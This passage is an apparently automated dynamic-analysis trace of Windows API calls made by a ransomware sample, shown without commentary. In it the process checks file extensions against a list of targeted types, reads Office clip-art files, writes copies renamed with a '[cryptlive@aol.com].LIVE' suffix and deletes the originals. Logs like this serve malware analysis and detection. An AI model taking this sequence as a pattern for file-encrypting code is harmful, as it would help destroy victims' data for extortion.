Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString=".zip") returned 4 [0146.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.446] lstrlenW (lpString=".rar") returned 4 [0146.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString=".bz2") returned 4 [0146.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString=".7z") returned 3 [0146.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString=".dbf") returned 4 [0146.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString=".1cd") returned 4 [0146.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.446] lstrlenW (lpString=".jpg") returned 4 [0146.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString=".doc") returned 4 [0146.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString=".docx") returned 5 [0146.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.447] lstrlenW (lpString=".pdf") returned 4 [0146.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString=".xls") returned 4 [0146.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.447] lstrlenW (lpString=".xlsx") returned 5 [0146.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.447] lstrlenW (lpString=".ppt") returned 4 [0146.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString=".zip") returned 4 [0146.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.447] lstrlenW (lpString=".rar") returned 4 [0146.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString=".bz2") returned 4 [0146.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString=".7z") returned 3 [0146.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString=".dbf") returned 4 [0146.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString=".1cd") returned 4 [0146.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0146.447] lstrlenW (lpString=".jpg") returned 4 [0146.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.448] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.448] lstrlenW (lpString="HH01618_.WMF") returned 12 [0146.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.448] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7296) returned 1 [0146.448] CloseHandle (hObject=0x38c) returned 1 [0146.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0146.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.449] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.449] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.449] GetLastError () returned 0x0 [0146.449] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1c80, lpOverlapped=0x0) returned 1 [0146.474] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0146.474] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.475] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.475] SetEndOfFile (hFile=0x394) returned 1 [0146.475] CloseHandle (hObject=0x394) returned 1 [0146.475] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.475] SetEndOfFile (hFile=0x38c) returned 1 [0146.477] CloseHandle (hObject=0x38c) returned 1 [0146.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0146.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.478] lstrlenW (lpString=".doc") returned 4 [0146.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.478] lstrlenW (lpString=".docx") returned 5 [0146.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.478] lstrlenW (lpString=".pdf") returned 4 [0146.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.478] lstrlenW (lpString=".xls") returned 4 [0146.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.478] lstrlenW (lpString=".xlsx") returned 5 [0146.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.478] lstrlenW (lpString=".ppt") returned 4 [0146.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.478] lstrlenW (lpString=".zip") returned 4 [0146.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.478] lstrlenW (lpString=".rar") returned 4 [0146.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.478] lstrlenW (lpString=".bz2") returned 4 [0146.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.478] lstrlenW (lpString=".7z") returned 3 [0146.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.479] lstrlenW (lpString=".dbf") returned 4 [0146.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.479] lstrlenW (lpString=".1cd") returned 4 [0146.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.479] lstrlenW (lpString=".jpg") returned 4 [0146.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.479] lstrlenW (lpString=".doc") returned 4 [0146.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.479] lstrlenW (lpString=".docx") returned 5 [0146.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.479] lstrlenW (lpString=".pdf") returned 4 [0146.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.479] lstrlenW (lpString=".xls") returned 4 [0146.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.480] lstrlenW (lpString=".xlsx") returned 5 [0146.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.480] lstrlenW (lpString=".ppt") returned 4 [0146.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.480] lstrlenW (lpString=".zip") returned 4 [0146.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.480] lstrlenW (lpString=".rar") returned 4 [0146.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.480] lstrlenW (lpString=".bz2") returned 4 [0146.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.480] lstrlenW (lpString=".7z") returned 3 [0146.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.480] lstrlenW (lpString=".dbf") returned 4 [0146.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.480] lstrlenW (lpString=".1cd") returned 4 [0146.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0146.480] lstrlenW (lpString=".jpg") returned 4 [0146.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.480] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.480] lstrlenW (lpString="HH01875_.WMF") returned 12 [0146.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.481] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2616) returned 1 [0146.481] CloseHandle (hObject=0x38c) returned 1 [0146.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0146.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.482] GetLastError () returned 0x0 [0146.482] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xa38, lpOverlapped=0x0) returned 1 [0146.484] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa40, lpOverlapped=0x0) returned 1 [0146.484] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.484] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.485] SetEndOfFile (hFile=0x394) returned 1 [0146.485] CloseHandle (hObject=0x394) returned 1 [0146.485] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.485] SetEndOfFile (hFile=0x38c) returned 1 [0146.487] CloseHandle (hObject=0x38c) returned 1 [0146.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString=".doc") returned 4 [0146.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString=".docx") returned 5 [0146.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.488] lstrlenW (lpString=".pdf") returned 4 [0146.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString=".xls") returned 4 [0146.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.488] lstrlenW (lpString=".xlsx") returned 5 [0146.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.488] lstrlenW (lpString=".ppt") returned 4 [0146.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString=".zip") returned 4 [0146.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.488] lstrlenW (lpString=".rar") returned 4 [0146.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString=".bz2") returned 4 [0146.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString=".7z") returned 3 [0146.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString=".dbf") returned 4 [0146.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString=".1cd") returned 4 [0146.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.488] lstrlenW (lpString=".jpg") returned 4 [0146.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString=".doc") returned 4 [0146.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString=".docx") returned 5 [0146.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.489] lstrlenW (lpString=".pdf") returned 4 [0146.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString=".xls") returned 4 [0146.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.489] lstrlenW (lpString=".xlsx") returned 5 [0146.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.489] lstrlenW (lpString=".ppt") returned 4 [0146.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString=".zip") returned 4 [0146.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.489] lstrlenW (lpString=".rar") returned 4 [0146.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString=".bz2") returned 4 [0146.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString=".7z") returned 3 [0146.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString=".dbf") returned 4 [0146.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString=".1cd") returned 4 [0146.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0146.489] lstrlenW (lpString=".jpg") returned 4 [0146.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.489] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.490] lstrlenW (lpString="HH01923_.WMF") returned 12 [0146.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.492] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=26706) returned 1 [0146.492] CloseHandle (hObject=0x38c) returned 1 [0146.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0146.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.493] GetLastError () returned 0x0 [0146.493] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x6852, lpOverlapped=0x0) returned 1 [0146.495] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6860, lpOverlapped=0x0) returned 1 [0146.497] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.497] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.497] SetEndOfFile (hFile=0x394) returned 1 [0146.497] CloseHandle (hObject=0x394) returned 1 [0146.497] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.497] SetEndOfFile (hFile=0x38c) returned 1 [0146.499] CloseHandle (hObject=0x38c) returned 1 [0146.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0146.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.500] lstrlenW (lpString=".doc") returned 4 [0146.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.500] lstrlenW (lpString=".docx") returned 5 [0146.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.500] lstrlenW (lpString=".pdf") returned 4 [0146.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString=".xls") returned 4 [0146.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.501] lstrlenW (lpString=".xlsx") returned 5 [0146.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.501] lstrlenW (lpString=".ppt") returned 4 [0146.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString=".zip") returned 4 [0146.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.501] lstrlenW (lpString=".rar") returned 4 [0146.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString=".bz2") returned 4 [0146.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.501] lstrlenW (lpString=".7z") returned 3 [0146.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0146.501] lstrlenW (lpString=".dbf") returned 4 [0146.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 